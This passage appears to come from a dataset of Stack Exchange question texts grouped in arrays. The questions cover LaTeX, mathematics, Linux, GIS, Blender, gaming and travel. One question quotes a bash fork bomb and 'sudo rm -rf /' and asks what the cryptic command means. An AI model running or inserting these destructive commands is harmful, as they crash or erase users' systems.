child{node[solid node,label=left:{P1}]{} child{node(l1)[solid node]{} child{node[solid node,label=below:{\\payoff{1\\\\-1}}]{}edge from parent node[left]{L}} child{node[solid node,label=below:{\\payoff{0\\\\0}}]{}edge from parent node[right]{R}} edge from parent node[left]{U} } child{node(l2)[solid node]{} child{node[solid node,label=below:{\\payoff{0\\\\0}}]{}edge from parent node[left]{L}} child{node[solid node,label=below:{\\payoff{2\\\\-2}}]{}edge from parent node[right]{R}} edge from parent node[right]{D} } edge from parent node[left,xshift=-10]{A} } child{node[solid node,label=right:{P1}]{} child{node(r1)[solid node]{} child{node[solid node,label=below:{\\payoff{-2\\\\2}}]{}edge from parent node[left]{L}} child{node[solid node,label=below:{\\payoff{0\\\\0}}]{}edge from parent node[right]{R}} edge from parent node[left]{U} } child{node(r2)[solid node]{} child{node[solid node,label=below:{\\payoff{0\\\\0}}]{}edge from parent node[left]{L}} child{node[solid node,label=below:{\\payoff{-1\\\\1}}]{}edge from parent node[right]{R}} edge from parent node[right]{D} } edge from parent node[right,xshift=10]{B} } ; \\draw[dashed](l1)--(l2)--node[midway,above]{P2}(r1)--(r2); \\end{tikzpicture} \\end{document}", "Do you have to take the second leg of a domestic flight?", "How can I get admin access to a Mac without knowing the current password? My Father died last year and I inherited his Mac Mini. My wife has retired and we are trying to set up the mini for her use but the changes we want to make require admin access and we do not have the information my father used to set up the machine. Is it possible to reset the admin information without having the old information? If so, how would I go about it? I am not a Mac user usually so any guidance will have to be pretty simple!", "Similar to , what's the best way to stay up to date with the latest stable releases of Thunderbird?" ]

[ "Why doesn't my ~/.bash_profile work? I'm using Linux Mint. My login shell (cat /etc/passwd | grep myUserName) is bash. After I start my graphical desktop environment and run a terminal emulator from it, I can see that .bash_profile is not sourced (environment vars that are exported in it are unset). But if I log in from a text console (ctrl+alt+F1) or manually run bash -l from the terminal emulator, .bash_profile works fine. Am I wrong when I think that .bash_profile should be sourced when X starts and all export'ed vars should be available in the terminal, running from X? P.S. Placing everything in .bashrc and sourcing it from .bash_profile is not good idea (): environment stuff should be sourced only once.", "I want to add a feature class within a Geodatabase to a map in ArcGIS Pro (1.4.1) using arcpy. I am converting some python code from ArcGIS Desktop to ArcGIS Pro. This issue is very similar to: and However, instead of adding a feature class (or layer) to a map using the Python Window I am doing this from a Script within a Toolbox. I have included a code snippet below. lyrTest = r\"C:\\data\\test.gdb\\Layer1\" aprx = arcpy.mp.ArcGISProject(\"CURRENT\") aprxMap = aprx.listMaps(\"MainMap\")[0] lyrFile = arcpy.mp.LayerFile(lyrTest) aprxMap.addLayer(lyrFile) I get the following error message: Traceback (most recent call last): File \"C:\\data\\AddLayers.py\", line 5, in <module> aprxMap.addLayer(lyrTest) File \"c:\\users\\user\\appdata\\local\\programs\\arcgis\\pro\\Resources\\arcpy\\arcpy\\utils.py\", line 191, in fn_ return fn(*args, **kw) File \"c:\\users\\user\\appdata\\local\\programs\\arcgis\\pro\\Resources\\arcpy\\arcpy\\_mp.py\", line 1048, in addLayer return convertArcObjectToPythonObject(self._arc_object.addLayer(*gp_fixargs((add_layer_or_layerfile, add_position), True))) ValueError: C:\\data\\test.gdb\\Layer1 Failed to execute (AddLayers).", "When do I need to invoke \\phantomsection?", "The claims that likelihood and probability are distinct concepts. In non-technical parlance, \"likelihood\" is usually a synonym for \"probability,\" but in statistical usage there is a clear distinction in perspective: the number that is the probability of some observed outcomes given a set of parameter values is regarded as the likelihood of the set of parameter values given the observed outcomes. Can someone give a more down-to-earth description of what this means? In addition, some examples of how \"probability\" and \"likelihood\" disagree would be nice.", "I'm running Fedora 25 and I need to take a few particular screen captures so I've read that shutter is a great tool for that. Sadly I am unable to use it for some reason. Whenever I try to take a screenshot this is the result:", "prove $\\sum_{i=1}^{n}(x_i-\\bar{x})^2\\lt\\sum_{i=1}^{n}(x_i-a)^2$ How do we prove that $$ \\sum_{i=1}^{n}(x_i-\\bar{x})^2\\lt\\sum_{i=1}^{n}(x_i-a)^2 $$ where $a$ is any value other than $\\bar{x}$, the arithmetic mean. My Attempt: $$ \\sum_{i=1}^{n}(x_i^2-2x_i\\bar{x}+\\bar{x}^2)\\lt\\sum_{i=1}^{n}(x_i^2-2x_ia+a^2)\\\\\\sum_{i=1}^{n}x_i^2-2\\bar{x}\\sum_{i=1}^{n}x_i+\\sum_{i=1}^{n}\\bar{x}^2\\lt\\sum_{i=1}^{n}x_i^2-2a\\sum_{i=1}^{n}x_i+\\sum_{i=1}^{n}a^2\\\\-2\\bar{x}.n\\bar{x}+n.\\bar{x}^2\\lt-2a.n\\bar{x}+n.a^2\\\\-2\\bar{x}^2+\\bar{x}^2\\lt-2a\\bar{x}+a^2\\\\-\\bar{x}^2\\lt-2a\\bar{x}+a^2 $$ But how do I proceed further or is there any better way ?", "Is it possible to find the origin of a virus? Is there any method with which you can determine the origin for a given piece of malware in Windows? One of my PCs was recently infected with the password stealing trojan. Is there any way to tell from what source this virus was downloaded from?", "How do I get the local machine name?", "When i put the code $(f_{\\mathcal{X}},f_{\\mathcal{X}}^{\\partial})$ I get the following: But I want the subscripts to be aligned. How can I do this?", "Performing Point Distance analysis using Basic level license of ArcGIS Desktop? I am using ArcView (ArcGIS Desktop Basic) 10.1 and I need to perform a point distance analysis. What are the steps to determine the distance from A to B-Z, B to A-Z, C to A-Z, etc?", "The Winter Bash is back and the hats are listed below. As always, there are only two answers: one for the secret hats, and one for the regular hats. The secret hat list will be updated as we learn them. Only edit the secret hat answer with definitive and correct triggers. This is not the place to post guesses. If you'd like to discuss Winter Bash, hats or just have a question about the WB please come over to the . Please keep the comments here clean. As always comments are not meant for discussion, conversation, \"I just got hat X\", etc use the for that (the remaining meta mods will periodically clean the comments). I know you are excited you just got a secret hat, but please instead of posting a comment come over to the and tell us all there. Provided that \"It's important to know your history... in more ways than one\" again this year, here are the hats from prior years:", "I would like to replace the search submit button with a Font Awesome character like the Magnifier (Search Icon) character, and put Search the site inside the search box. How can I achieve something like this?", "For each of the following, give an example of a sequence of functions $f_n$ that converges to f A. uniformly but not in the mean square sense. B. in the mean square sense but pointwise nowhere. I know that for part A the domain of the function cannot be bounded but other then that I'm not sure how to go about the problem", "What is a nicer, less immature saying? I love using 'A Freudian slip', but that is only applicable in certain situations.", "How to open a PDF file from terminal? I used to work on the Mac terminal before and I used: open file2open.pdf and the PDF file would be opened on preview or whatever my default viewer was. When I use it in the terminal in Ubuntu I get this error message: Couldn't get a file descriptor referring to the console", "I'm just going to throw this out there, but Google indexes Stack Overflow really quickly For example, I after using Google to try to find an answer. I then turned back to Google and did a search for and it was already the first result! Similar searches also put my question on the first page, usually in the top 5! This is insanity. Did I get lucky and post just before an indexing? Is the popularity of SO leading to Google indexing extremely frequently? Or is Jeff using some kind of crazy SEO?", "My final goal is to generate Impulse Response Functions in R. I have variables that are non stationary when I set k = 5 in a Unit Root test, and they are cointegrated which to my understanding prompts the use of the VECM, from which the Vec2Var argument is used to then generate IRFs. However, my response functions from this methodology do not decay over time and mostly do not revert to the zero line. Furthermore, I noticed that when I input first differenced variables into the VECM as opposed to level data above, response function do revert to the zero line. Therefore my first question is: 1) is it appropriate to use differenced variables in a VECM model? Secondly, as an alternative I am considering restricting the number of lags used in the Unit Root tests so that the variables are not all non-stationary; in this case 2) would the use of VECM be void and the VAR with first differences be a more appropriate model? Again, using differenced data is giving me better response functions that revert to zero in the long run. However, 3) is it ok to use the VAR for stationary/non-stationary data in levels where these variables are still cointegrated? Also, I am using growth rate variables, 4) should I still long transform all variables and use logs in all tests? Thank you for the help!", "According with Mumford the answer is yes, but there are some obscure points in the proof. We know that there exists a very ample line bundle on $A$ since every abelian variety is projective. Hence, via some corollaries of the Theorem of the Cube, we get an ample line bundle whose restriction to the kernel of $n_A$ is both the trivial bundle and very ample. This should imply that the dimension of $\\ker n_A$ is $0$. Furthermore, Mumford says that the fact that the dimension of the kernel is $0$ implies the surjectivity of $n_A$. Is anybody able to clarify these two points to me? Thanks in advance!", "What are some useful, undocumented Mathematica functions?", "Let $S$ be a finite collection of real numbers (not necessarily distinct). If any element of $S$ is removed then the remaining real numbers can be divided into two collections with same size and same sum ; then is it true that all elements of $S$ are equal ? (I know the result is true if the "reals" are replaced by "integers".)" ]

[ "Have Kylo Ren's Force abilities been shown before? I'm only familiar with the movies, so in The Force Awakens I saw some use of the Force that was new to me. Most notable were these two abilities: freezing blaster bolts in mid-air, and directly reading someone's mind like he tried with Rey. Have either of these happened before?", "Is it ok to answer based someone's older answer on SE? Possible Duplicate: This question will probably be closed in a few minutes. It is a duplicate but I couldn't find the question using with meta search. Anyway, , . In this case, is vote to close the new question as a possible dublicate not the best choice? Looks to me a little bit not ethical.", "Xubuntu live usb persistence - how to? I'm using Xubuntu 13.04 from live usb. I know that in order to be able to keep files/settings/etc after restart, USB live disk should be created with some storage reserved. However since I got this USB from a friend who created installation, I don't know if he reserved any space, and so my questions are: How can I find out amount of space reserved (if any)? If no space is reserved, can I manually chose USB/HDD location to store my settings in order to be able to boot into them the next time I log on? I'm currently running a very long session and it would help me if I could somehow be able to store my settings (firefox, apt-gets, xrandr screen conf. ... ) to not have to do it again after I reboot. Thanks, IR", "How do you deal with a player that's determined to play the game in a way that is detrimental to the advancement of the story?", "Image with axis", "How to Make Multi User Objects Single User? I duplicated a few objects with Alt+D and now I want to apply some modifiers to them, however I can't, because they are multi-user objects. I tried U > Objects but I still can't apply the modifier. How to make multi user objects single user?", "Scala final vs val for concurrency visibility", "I have seen this question now many times and every question here and on other forum points to experimental tutorial by . Now sadly a lot of answers are invalid right now because this central link is down. I couldn't find anything by Googling so if anybody has a fork of the tutorial or a second source that would be great? The link can't be gone for too long, I saw an answer with it 4 months ago. The only other thing I have found is , but it also references the now missing tutorial. Any ideas how to find it?", "$\\dfrac{pq}{r}+\\dfrac{qr}{p}+\\dfrac{pr}{q}\\in\\Bbb Z\\,\\Rightarrow\\, \\dfrac{pq}{r},\\dfrac{qr}{p},\\dfrac{pr}{q}\\in\\Bbb Z$ Let $p,q,r$ be integers such that the symmetric sum of fractions $\\dfrac{pq}{r}+\\dfrac{qr}{p}+\\dfrac{pr}{q}$ is an integer. Prove that each of the numbers: $\\dfrac{pq}{r},\\dfrac{qr}{p},\\dfrac{pr}{q}$ is an integer. How to do this? Someone posted but deleted soon.", "Why isn't Higgs coupling considered a fifth fundamental force?", "Azure Same Storage on VM", "Why is ++i is l-value and i++ not?", "Java Command line arguments I am trying to detect whether the 'a' was entered as the first string argument.", "If $M$ is an $R$-module and $I\\subseteq\\mathrm{Ann}(M)$ an ideal, then $M$ has a structure of $R/I$-module Let $M$ be an $R$-module and let $I$ be an ideal of $R$ such that $I$ is a subset of $\\mathrm{Ann}(M)$. Define a product of an element of $R/I$ by an element of $M$ as follows: $$(r+I)\\cdot m=rm.$$ (a) Show that this product is well defined. (b) Show that this product, together with the sum of elements of $M$, turns $M$ into an $R/I$-module. My answer for (a): Let $r+I,s+I \\in R/I$ such that $r+I=s+I$. Then $(r+I)m=(s+I)m$, for all $m \\in M$. Then $rm=sm \\implies r=s$ (since the inverse of $m$ is in $M$), so the product is well defined. Is my answer to (a) correct? How can I use Ann(M) to answer (b)?", "Semicolon or dash?", "What is a \"closed\" or \"duplicate\" question? Questions can be closed or marked as duplicates. What does it mean for a question to be "closed"? What does it mean for a question to be marked as a "duplicate"? Who can close a question? What are the reasons for closing a question ? Is closure the end of the road for a question? When are closed questions eligible for deletion? Related For more information, see "" in the .", "Side effects of changing blackboard bold font with \\setmathfont", "Can $n!$ be a perfect square when $n$ is an integer greater than $1$? Can $n!$ be a perfect square when $n$ is an integer greater than $1$? Clearly, when $n$ is prime, $n!$ is not a perfect square because the exponent of $n$ in $n!$ is $1$. The same goes when $n-1$ is prime, by considering the exponent of $n-1$. What is the answer for a general value of $n$? (And is it possible, to prove without Bertrand's postulate. Because Bertrands postulate is quite a strong result.)", "Solving $\\textbf{r}''(t)=\\frac{GM}{(r(t))^3}\\textbf{r}(t)$ I have the following problem that I don't know how to solve: Let $\\textbf{r}(t)$ be a curve and let $r(t):= |\\textbf{r}(t)|$. Let the curve $\\textbf{r}(t)$ be defined by: $$\\textbf{a}(t)=\\frac{GM}{(r(t))^3}\\textbf{r}(t)$$ Where $\\textbf{a}(t) = \\textbf{r}''(t)$ is the acceleration of the particle and $G,M \\in \\mathbb{R}$. Suppose that $\\textbf{r}(t)$ and $\\textbf{r}'(t)$ are not parallel. The objective is to determine the trajectory $\\textbf{r}(t)$ in polar coordinates. So basically we have the following equation: $$\\textbf{r}''(t)=\\frac{GM}{(r(t))^3}\\textbf{r}(t)$$ The thing is that I don't know how I should proceed from now on. If we'd have just normal scalar function this would be a differential equation and I think I would be able to solve it, but like this I have no idea how to approach the problem. How can I solve this? Edit: If $$\\textbf{r}(t):=(x(t),y(t))$$ then the equation turns into the following system of equations: $$x''=\\frac{GM}{(\\sqrt{x^2 + y^2})^3}x$$ $$y''=\\frac{GM}{(\\sqrt{x^2 + y^2})^3}y$$ I don't know if this helps but I think that this turns thing easier perhaps.", "Does more reflective aluminum foil make a room cooler compared to less reflective foil? Aluminum foil is said to be not absorbing light at all. It reflects light. So, does it mean that a more shiny aluminum foil will reflect more light and thus make the room more cooler as compared to less shiny foil? If yes, then where does unreflected light go in case of less shiny aluminum foil? Does less shiny and more shiny actually make a difference? Why? In order to keep whole room cool will it help if I stick the foil to the outside of wooden door (exposed to the sunlight) too?" ]

[ "Integral $\\int_{\\frac{1}{2}}^1 \\frac{\\ln x}{\\sqrt{x^2+1}}dx$", "Today I found something strange on my newly installed Windows 7 OS - my \"users\" folder C:\\Users was shared and \"Everyone\" had full access... I disabled that and now it seems fine, however I'm a bit scared actually, I'd like to know what caused that and if my system is compromised.", "URLs are linked despite being inside a code span Markdown source: `http://google.com` - `http://google.com` - `http://google.com` Rendered result: http://google.com http://google.com http://google.com Note that the third code span is a link. Adding a newline before the list item makes the link disappear.", "After finishing The Cayo Perico Heist, how long will it be set in hard mode? After I finished The Cayo Perico Heist, I tried setting up another heist in the Kosatka, and got this message : The setup cost for The Cayo Perico Heist is $25000. Setting up now will set the heist to Hard Mode. Do you wish to proceed? It seems that there is a cooldown period before the heist reverts to normal mode from hard mode. How long will it take before it reverts to normal mode? Also, does the cooldown timer run even if you're logged out of GTA Online? E.g., if I quit GTA Online just after finishing the heist, the next time I log back in, will I have to wait for the cooldown period to finish before it reverts to normal mode?", "Undefined Symbol ___gxx_personality_v0 on link I've been getting this undefined symbol building with this command line: $ gcc test.cpp Undefined symbols: \"___gxx_personality_v0\", referenced from: etc... test.cpp is simple and should build fine. What is the deal?", "$F_\\sigma$-subsets in a normal space can be separated Let $X$ be a normal Hausdorff space and let $C,D$ be two $F_{\\sigma}$ subsets of $X$ such that $\\overline{C} \\cap D = \\emptyset$ and $C \\cap \\overline{D} = \\emptyset$. Prove there exists disjoint open subsets $U,V$ such that $C \\subset U$ and $D \\subset V$. No idea how to show this. Can you please help?", "Cheap/free tool to view/convert Canon CR2 RAW format photo files on Windows?", "Preposition before noun phrases I have asked the same question in ELL stackexchange, but unfortunately haven't received enough answer/comment. The one answer I got is not satisfactory. So that's the reason I am asking it here again. . I have seen in some cases prepositions are omitted before some noun phrases. And it's explained that those phrases are actually an adverb phrases. But I know a simple thing. If the head of the phrase is a noun, it's a noun phrase. If the head of the phrase is an adverb it is an adverb phrase. For example - Look both ways before crossing the road. [both ways is a noun phrase, where the head is ways, but still there is no preposition.] He approached me in a friendly way. [a friendly way is a noun phrase, where the head is way, but as expected unlike sentence #1 it's preceded by the preposition in. And I have never seen this phrase is used without a preposition. I believe dropping the preposition is wrong, according to the grammar.] She made a pickle a different way from her mother. [a different way is a noun phrase, where the head is way, but strangely there is no preposition before it. But I have seen examples of a different way used both with prepositions and without prepositions. I think the preposition here is optional.] Now from these example sentences I have tried to demonstrate my problem/confusing area. My question is - 1. When a noun phrase is used as an adverb phrase? 2. When before a noun phrase the placement of preposition is obligatory (like sentence #2)? And where it's optional (like sentence #3)? And where placing the preposition is wrong (like sentence #1)?", "I am trying to update Xcode to 8.0. My OS is 10.11.6 El Capitan. However I am getting: We could not complete your update There is not enough disk space available to install the product. I have got 14.22 GB free space. How much do I need? UPDATE: I do not know the exact figure, though I did manage to update with 17.21 GB free space later on.", "I am taking a course in Differential Topology right now, but I know of another Subject called \"Riemannian Geometry\" which studies Riemannian Manifolds. The definition of a real smooth manifold and a Riemannian Manifold are very similar except for the detail that makes them Riemannian (having a inner product on the tangent space of every element which varies smoothly with respect to this element of the R. Manifold). So my question is: is there any example of a Smooth Manifold that is NOT a Riemannian Manifold? Thanks.", "Using special auto start servlet to initialize on startup and share application data", "Do virtual particles actually physically exist? I have heard pop in and out of existence all the time, most notable being the pairs that pop out beside black holes and while one gets pulled away. But wouldn't this actually violate the conservation of energy?", "Why are airline passengers asked to lift up window shades during takeoff and landing? I have always wondered why the windows shades have to be raised during take off and landing. I can't think of any safety issues by having a closed window.", "How delete an application that is bundled with macOS? Backstory: I am running macOS Sierra and use TextEdit a lot. The problem is that I hate the Versions save schema that causes the universal Save As shortcut of CmdShiftS to instead create a copy of the document. I also hate how Auto-Save makes permanent changes to documents I don't want to modify when I'm tentatively modifying a work-in-progress. Since the introduction of these nuisance features in Lion I have always backed up and then replaced TextEdit.app with the legacy 1.6 version from Snow Leopard. The problem: Today when I tried to delete TextEdit.app from my Applications folder using this Terminal command sudo rm -rf /Applications/TextEdit.app I got this error rm: TextEdit.app: Operation not permitted I was surprised to find that I can't kill it, even with sudo. How can I actually get rid of an application that is bundled with macOS? What I've tried so far: I followed the instructions in , but it didn't work. I also read , which almost accomplishes the same solution by means of disabling Versions and Auto-Save, but then I don't get the benefit of legacy TextEdit's temporary backup saving feature. See the part in the answer stating \"This effectively disables the old-style, pre-Lion autosaving completely\". So I think deleting the newer TextEdit v1.12 and replacing it with the legacy v1.6 is still the best option, however I can't get my system to delete it. Any help appreciated.", "\"wait on\" or \"wait for\"? Officials are waiting on autopsy results for Oscar-winning actor Philip Seymour Hoffman. New York police suspect a drug overdose, possibly heroin. I am curious about the preposition on in the sentence, because I usually say \"wait for\" instead of \"wait on\". Does it still have the same meaning if I change on to for? Just as follows: Officials are waiting for autopsy results for Oscar-winning actor Philip Seymour Hoffman. New York police suspect a drug overdose, possibly heroin.", "Prove that if a number $n > 1$ is not prime, then it has a prime factor $\\le \\sqrt{n}$.", "How to animate noise texture \"seed\"? It's possible to animate a change noise texture by animating the texture coordinates with a mapping node or by animating the texture space, however this only works on one axis at a time (on the other axes the texture will appear to be sliding across the object's surface). For example, the top face has the desired effect but the other faces appear to be moving/sliding upwards: Even with all three axes location and rotation animated it still appears to be sliding rather than statically changing. Is there some way to make each face appear like the top face in the first gif but still be seamlessly blended with the other faces? This should work for other shapes as well. In other words, I'm looking for a way to animate the \"seed\" of the texture.", "How can I find the method that called the current method?", "How to animate text over a twisted mesh (or text flowing along an infinity loop)", "Simple examples of uncorrelated but not independent $X$ and $Y$" ]

[ "Digonalizable Polynomial Matrix For any polynomial $p(x) = a_0 + a_1x + · · · + a^kx^k$ and any square matrix A, $p(A)$ is defined as $p(A) = a_0I + a_1A + · · · + a_kA^k$. Show that if v is any eigenvector of A and $χ_A(x)$ is the characteristic polynomial of A, then $χ_A(A)v = 0$, Deduce that if A is diagonalizable then $χ_A(A)$ is the zero matrix. I got that $p(\\lambda)$ is the eigenvalue of $p(A)$ and if A is diagonalizable then $χ_A(x)$ is the zero matrix since p(A) is similar to its diagonal matrix p(D) $$p(D) = a_nD_n + · · · + a_1D + a_0I$$ = $\\begin{matrix} p(\\lambda_1) &0&...&0\\\\0& p(\\lambda_2)&...& 0 \\\\ ...&...&...&...\\\\0&0&... & p(\\lambda_n) \\end{matrix}$", "Is it possible to trade Pokemon from the 1st generation games to the most recent ones? I know that you can trade Pokemon between games of the same generation (Gold/Silver, Ruby/Sapphire) and even trade between 1st gen and 2nd gen. However, I haven't been able to find a way to trade Pokemon so that I can play with my 1st generation Pokemon in HeartGold, for instance. If it is possible, how many steps would it take and what equipment would I need?", "I want to be able to lock my translation/scale operations to two axes at a time, say xy, xz or yz. It currently takes two operations (one for each axis). Example, say for a cylinder, I would like to reduce the radius. I currently have to scale on the x axis first, then on the y axis, or I have to manually input the scale values in the object properties panel. This option is easily accessible in 3dsmax via the axis constraints command bar. Or I can click the intersecting area between the 3d manipulator of the axes in question and move in that plane.", "I'm starting to do designs meant for printing, but I'm fairly new to this medium so I don't really understand how bleed works and how much bleed should I specify for: Business cards Large format prints (42 inches and bigger) Magazines Should I extend the design into the bleed areas?", "When hyperref is loaded I receive the following error: TeX capacity exceeded, sorry [input stack size=5000]. However, when I remove hyperref package it compiles successfully. I traced it back and found that \\maketitle causes the error but don't know how to fix it. Is there any way to use hyperref in my setup. Code: %!TEX TS-program = xelatex \\documentclass[journal,transmag,]{IEEEtran} \\usepackage[hyphens]{url} \\usepackage{hyperref} \\usepackage{xunicode} \\usepackage{fontspec} \\usepackage{polyglossia} \\setmainlanguage{english} \\setotherlanguage{arabic} \\newfontfamily\\arabicfont[Script = Arabic]{Amiri} % Replace 'Simplified Arabic' with a font from your system \\begin{document} \\title{A Very Nice Title} \\author{\\IEEEauthorblockN{ John Doe\\IEEEauthorrefmark{1}}%,~\\IEEEmembership{Member,~IEEE} \\IEEEauthorblockA{\\IEEEauthorrefmark{1}My address} % <-this % stops an unwanted space \\thanks{Manuscript received mm dd, 20xx; revised mm dd, 20xx. } } % The paper headers \\markboth{headers...}% {Shell \\MakeLowercase{\\textit{et al.}}: Bare Demo of IEEEtran.cls for IEEE Transactions on Magnetics Journals} \\IEEEtitleabstractindextext{% \\begin{abstract}My Abstract.\\end{abstract} % Note that keywords are not normally used for peerreview papers. \\begin{IEEEkeywords} Key 1, Key 2 \\end{IEEEkeywords}} \\maketitle \\IEEEdisplaynontitleabstractindextext % \\IEEEdisplaynontitleabstractindextext has no effect when using \\IEEEpeerreviewmaketitle \\section{Introduction} English Text \\begin{Arabic} السَلَامُ عَلَيكُمْ \\end{Arabic} \\end{document}", "How do you tell if caps lock is on using JavaScript? One caveat though: I did google it and the best solution I could find was to attach an onkeypress event to every input, then check each time if the letter pressed was uppercase, and if it was, then check if shift was also held down. If it wasn't, therefore caps lock must be on. This feels really dirty and just... wasteful - surely there's a better way than this?", "Homotopy functions I'm new here. Can anyone give me a hint in this problem? Please. Let $X$ be a topological space. If $f,g$ are continuous function of $f,g\\colon X\\to S^n$ which $f(x)\\neq -g(x)$ for all $x$ in $X$, show $f$ and $g$ are homotopics. I try to show a homotopy using $$q(x) = \\frac{f(x)+g(x)}{\\|f(x)+g(x)\\|}$$ it's well defined, but i'm stuck.", "So yesterday I dropped my iPhone into the toilet, it was literally submerged for less than 15 seconds and after taking it out I left it in my airing cupboard overnight to dry. Today the phone seems to be completely functional other than a very dark screen (changing brightness won't help). Was wondering what the best course of action would be and if this is fixable.", "Humanity meeting another similar intelligent life form deep into space (or not)? I'm looking for a plot line (it should be a short story) that depicts Earth population (or their close descendants) establishing contact with another intelligent life form deep into space. After careful studying of DNA samples and language / communication symbols they then realize that the civilization in question is also from Earth but that they departed very long ago and travelled throughout the galaxy in the completely opposite direction so that they are now meeting practically at the point of the circle opposite to Earth. There might have been some anatomical differences as well. As far as I can remember, the story concludes shortly after that. This should be a work of a well-known SF author, so I'm hoping for a quick response (if time didn't corrupt my memory too much). I don't think it was part of an anthology, but it's entirely possible it was in a magazine. As for the timeline, I've read it about 2-3 years ago, but since I have a passion for older SF works it might not be of much use. Edit: Not sure if this could help but for what it's worth, it might be contained in .", "Subgroup of $\\mathbb{Q}$ with finite index", "Mathematics needed for string theory I'm interested in cutting edge string theory studied by research physicist. I'm wonder what mathematics is needed and how far am I in terms of mathematics background needed and how much more mathematics do I need in order to study it properly and reach my goal. My mathematics level is at calculus/Linear algebra.", "How do I copy to the clipboard in JavaScript?", "Convergence of integrals in $L^p$ Stuck with this problem from Zgymund's book. Suppose that $f_{n} \\rightarrow f$ almost everywhere and that $f_{n}, f \\in L^{p}$ where $1<p<\\infty$. Assume that $\\|f_{n}\\|_{p} \\leq M < \\infty$. Prove that: $\\int f_{n}g \\rightarrow \\int fg$ as $n \\rightarrow \\infty$ for all $g \\in L^{q}$ such that $\\dfrac{1}{p} + \\dfrac{1}{q} = 1$. Right, so I estimate the difference of the integrals and using Hölder end up with: $$\\left|\\int f_{n} g - \\int fg\\right| \\leq \\|g\\|_{q} \\|f_{n} - f\\|_{p}$$ From here I'm stuck because we are not assuming convergence in the seminorm but just pointwise convergence almost everywhere. How to proceed?", "Pearson VS Deviance Residuals in logistic regression I know that standardized Pearson Residuals are obtained in a traditional probabilistic way: $$ r_i = \\frac{y_i-\\hat{\\pi}_i}{\\sqrt{\\hat{\\pi}_i(1-\\hat{\\pi}_i)}}$$ and Deviance Residuals are obtained through a more statistical way (the contribution of each point to the likelihood): $$ d_i = s_i \\sqrt{-2[y_i \\log \\hat{\\pi_i} + (1 - y_i)\\log(1-\\hat{\\pi}_i)]} $$ where $s_i$ = 1 if $y_i$ = 1 and $s_i$ = -1 if $y_i$ = 0. Can you explain to me, intuitively, how to interpret the formula for deviance residuals? Moreover, if I want to choose one, which one is more suitable and why? BTW, some references claim that we derive the deviance residuals based on the term $$-\\frac{1}{2}{r_i}^2$$ where $r_i$ is mentioned above.", "I installed Ubuntu (twice actually) onto the same drive. I wanted to 'try again' since one of them didn't install correctly and the other installed differently, but it worked. I was getting frustrated with the GRUB menu because it was really sloppy (There were two Windows options - one with the Windows bootloader to go into Ubuntu, and two different versions of Ubuntu from the first install for some reason and memtest, etc.). In my attempts at getting rid Ubuntu to do a fresh installation, I went ahead and deleted the partitions that weren't swap or main via Windows 7. As I said, I am a noob. Now, even though I though I completely got rid of Ubuntu, including the GRUB menu, when I boot my PC I am brought directly to GRUB Rescue. And from what I've found from other forums, GRUB rescue isn't even completely functional for me (it doesn't recognize any commands that it should support besides ls. It also returns unknown filesystem for any partition I try to view or boot.) Is there any way that I can boot straight into Windows? I fear I may have gone about deleting those partitions in the wrong way. If so, what are my options?", "I'm trying to figure out a good workflow for developing scripts and add-ons in Blender. Here's what I'm currently doing as I try my luck with a PyNode add-on: Open blender Create a text editor panel Open my script (external text file) Edit my script in a nice external editor Reload the script Save the .blend file Run the script Now that I can see what my code does, this Blender instance has been modified, so I can't (make changes to my script and) run my script again. So I do this: Close blender Open blender with the .blend from step 6 and repeat steps 4-7, over and over and over.. Is there a better workflow for this sort of thing?", "Escaping ampersand in URL", "Match-3 algorithm to fill empty space left from removing matches I am currently creating a match 3 game. I am at the point where I have objects dropping down in the column when only one item is removed. So if an item is removed, the above item moves into its old position etc. The problem I am having now is that when more than one item is removed from a column, the items in that column only drop down to the first item that was removed. Instead of filling in both items that were removed it just drops down to fill in the first one. So basically, if two(or more) items are removed from a column the second, third, fourth, etc positions are left blank. The way I am designing my game is I am using units of 1. So each item takes up 1 unit by x and 1 unit by y. This means that I can position the items like in a grid, at 0x1, 0x2, etc. What kind of algorithm could I use to move multiple items down to fill the empty space?", "I have a problem with derivation of some function. This is related to computing the Poincare Map of Logistic Population model with Periodic harvesting. This function is: $\\phi(t,x_0) = x_0 + \\int_{0}^{t} f(s,\\phi(s,x_0)) ds $, where $\\phi(t,x_0)$ is a function: $\\mathbb{R} \\times \\mathbb{R} \\rightarrow \\mathbb{R}$. I'm trying to differentiate equation of this function both sides with respect to $x_{0}$. In book from this equation comes from the result of this differentiation is: $\\frac{\\partial \\phi}{\\partial x_0} (t,x_0) = 1 + \\int_0^{t} \\frac{\\partial f}{\\partial x_0} (s, \\phi(s,x_0)) \\cdot \\frac{\\partial \\phi}{\\partial x_0} (s, x_0)ds$. I can't understand expression under the integral. In this book it is explained that it is clear from chain rule.Could someone explain to me this transformation in easy way? I will be grateful for your help Best regards", "What does this cryptic Bash command mean? I was reading Ubuntu Forum's warning about malicious commands and found this interesting gem: :(){ :|:& };: WARNING: The above code will crash your machine unless you have strict proc limits in place (which you probably don't) prompting a hard restart. Consider this code similar to running sudo rm -rf /. But what does that mean? Even with my programming experience I've never seen a command that cryptic that's not assembly language." ]

[ "Can I travel within the Schengen area without a passport if I have my residency permit card? I am currently located in the Netherlands and have lived here for 4 years. I have a working visa for the Netherlands and would like to go on vacation to another country in Europe. I however do currently not have my passport as i sent it to an embassy for a visa application. Will I still be able to travel inside of Europe without a passport if I have my residency ID? I have a resident permit, not a true Dutch ID. And I own a passport that is currently in transit. I have called with the KLM and the service employee's conclusion was that I do need to carry my passport with me when i am going to fly, so it seems all I can do is wait and hope my passport is returned to me in the next few days as the amsterdam US consulate (who currently holds my passport) is incredibly difficult to contact for urgent matters.", "Whenever I play a PC game with the directional keys, I can only press two buttons at a time. For instance if I am playing a shooter like R-Type, I cannot hold down the fire button while moving diagonally at the same time. The computer simply ignores the extra button press. How do I remove this limit so I can shoot while moving diagonally? This limitation seems to apply for every game. I am running Windows 7 if it makes any difference. I noticed the same problem back when I used Windows XP.", "Why Process Builder doesn't work on Delete Scenario? As most of the time we have to think of requirement to accomplished using out-of-Box feature like e.g process builder which we think of an alternative to trigger, but suppose I have to handle scenario of Delete using Process Builder then there is limitation!(e.g calculation of roll-up on Delete) so I am curious about what is that limitation because of which Delete scenario is not handled in Process Builder.", "List all the directories under the current one", "If the plural of ‘man’ is ‘men,’ shouldn’t the plural of ‘German’ be ‘Germen’? What makes these two words so different that 'man' is changed to 'men', but 'German' is changed to 'Germans'?", "The sequence of triangular numbers is well known. Consider now the triangular numbers modulo some positive natural number $k$. That is, let $T_{n,k}$ be the remainder of dividing $T_n$ by $k$. For the regular sequence of triangular numbers, we can take as convention $T_n = T_{n, \\infty}$. Question: For all values of $k, i < k$, does there 